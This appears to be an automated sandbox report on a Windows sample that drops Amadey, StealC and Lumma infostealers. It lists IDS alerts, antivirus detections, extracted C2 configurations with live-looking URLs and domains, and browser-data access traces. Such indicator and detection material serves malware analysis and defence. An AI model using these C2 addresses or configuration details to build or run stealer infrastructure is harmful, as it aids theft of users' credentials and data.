ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:59.183058+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.4	56405	1.1.1.1	53	UDP
2024-11-12T02:14:11.522389+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.4	62058	1.1.1.1	53	UDP
2024-11-12T02:14:36.461079+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.4	62876	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:59.065890+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	56653	1.1.1.1	53	UDP
2024-11-12T02:14:11.403456+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	49546	1.1.1.1	53	UDP
2024-11-12T02:14:36.344501+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	59881	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:04.564038+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49732	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:04.557609+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49732	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:04.852113+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49732	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:05.979319+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49732	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:04.858682+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49732	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:14:49.094675+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50023	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:04.262778+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49732	185.215.113.206	80	TCP
2024-11-12T02:14:07.376664+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49805	185.215.113.206	80	TCP
2024-11-12T02:14:21.840424+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49886	185.215.113.206	80	TCP
2024-11-12T02:14:46.592239+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50025	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:51.366268+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49765	185.215.113.43	80	TCP
2024-11-12T02:19:16.532518+0100	2856147	1	A Network Trojan was detected	192.168.2.4	50178	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:59.725116+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49766	TCP
2024-11-12T02:14:27.974713+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49893	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:54.823463+0100	2803305	3	Unknown Traffic	192.168.2.4	49767	185.215.113.16	80	TCP
2024-11-12T02:14:01.601930+0100	2803305	3	Unknown Traffic	192.168.2.4	49772	185.215.113.16	80	TCP
2024-11-12T02:14:11.969709+0100	2803305	3	Unknown Traffic	192.168.2.4	49829	185.215.113.16	80	TCP
2024-11-12T02:14:24.127295+0100	2803305	3	Unknown Traffic	192.168.2.4	49899	49.12.130.36	443	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:13:06.503829+0100	2803304	3	Unknown Traffic	192.168.2.4	49732	185.215.113.206	80	TCP
2024-11-12T02:13:22.662434+0100	2803304	3	Unknown Traffic	192.168.2.4	49755	185.215.113.206	80	TCP
2024-11-12T02:13:24.521750+0100	2803304	3	Unknown Traffic	192.168.2.4	49755	185.215.113.206	80	TCP
2024-11-12T02:13:25.780240+0100	2803304	3	Unknown Traffic	192.168.2.4	49755	185.215.113.206	80	TCP
2024-11-12T02:13:26.821868+0100	2803304	3	Unknown Traffic	192.168.2.4	49755	185.215.113.206	80	TCP
2024-11-12T02:13:29.618243+0100	2803304	3	Unknown Traffic	192.168.2.4	49755	185.215.113.206	80	TCP
2024-11-12T02:13:30.260431+0100	2803304	3	Unknown Traffic	192.168.2.4	49755	185.215.113.206	80	TCP
2024-11-12T02:13:34.155331+0100	2803304	3	Unknown Traffic	192.168.2.4	49763	185.215.113.16	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T02:14:00.817126+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49769	23.197.127.21	443	TCP
2024-11-12T02:14:13.088764+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49835	23.197.127.21	443	TCP
2024-11-12T02:14:37.985865+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49976	23.197.127.21	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpdx	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllKmk	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/CK	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpyuI	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php4x	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php002	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpb	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpu	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpt	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/nSettingsC:	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php.	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000019.00000002.4123331034.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 4172e6dca8.exe.2448.21.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}
Source: d1e0007322.exe.3616.15.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["navygenerayk.store", "necklacedmny.store", "scriptyprefej.store", "crisiwarny.store", "founpiuer.store", "fadehairucw.store", "presticitpo.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 34%
Source: file.exe	Virustotal: Detection: 38%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Joe Sandbox ML: detected
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C74A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C744440 PK11_PrivDecrypt,	0_2_6C744440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C714420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C714420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7444C0 PK11_PubEncrypt,	0_2_6C7444C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7925B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C7925B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C728670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C74A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C72E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C76A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C770180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C770180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7443B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C7443B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C767C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C767C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C727D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C727D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C76BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C769EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C769EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C743FF0 PK11_PrivDecryptPKCS1,	0_2_6C743FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C743850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C743850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C749840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C749840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C76DA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C743560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C743560

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.4:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.130.36:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.112.123.126:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.4:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.10:443 -> 192.168.2.4:50145 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2101454274.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 081eb93126.exe, 00000010.00000003.2416164428.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, 081eb93126.exe, 00000010.00000002.2549878932.0000000000F92000.00000040.00000001.01000000.00000011.sdmp, 081eb93126.exe, 00000013.00000002.2574587907.0000000000F92000.00000040.00000001.01000000.00000011.sdmp, 081eb93126.exe, 00000013.00000003.2533544080.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, 081eb93126.exe, 00000016.00000002.2822382287.0000000000F92000.00000040.00000001.01000000.00000011.sdmp, 081eb93126.exe, 00000016.00000003.2781734351.00000000051B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2101454274.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then jmp ecx	11_2_0040104F
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+75E07B5Ch]	11_2_003FEC20
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-42h]	11_2_003FE1A0
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then jmp eax	11_2_0042E210
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0000008Ah]	11_2_003FCF90
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	11_2_00434C40
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx+38h]	11_2_0040E07E
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then jmp ecx	11_2_004014D9
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	11_2_003F5890
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+6D44C02Ch]	11_2_0042FC90
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then mov word ptr [ebp+edx*4+00h], ax	11_2_003FBD50
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+34h]	11_2_003FBD50
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then jmp ecx	11_2_004339C0
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+ecx-14h]	11_2_004339C0
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then jmp edx	11_2_003F8EF0
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then jmp ecx	11_2_00418290
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+ecx-14h]	11_2_00433A90
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+6D44C030h]	11_2_0041AB20
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 9ABDB589h	11_2_0041AB20
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 4x nop then and esi, 001FF800h	11_2_003F4BA0

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49732 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49732 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49732
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49732 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49732
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49732 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49765 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:60377 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.4:56405 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.4:58493 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:50079 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.4:49435 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49771 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49800 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49805 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:63110 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:60936 -> 1.1.1.1:53
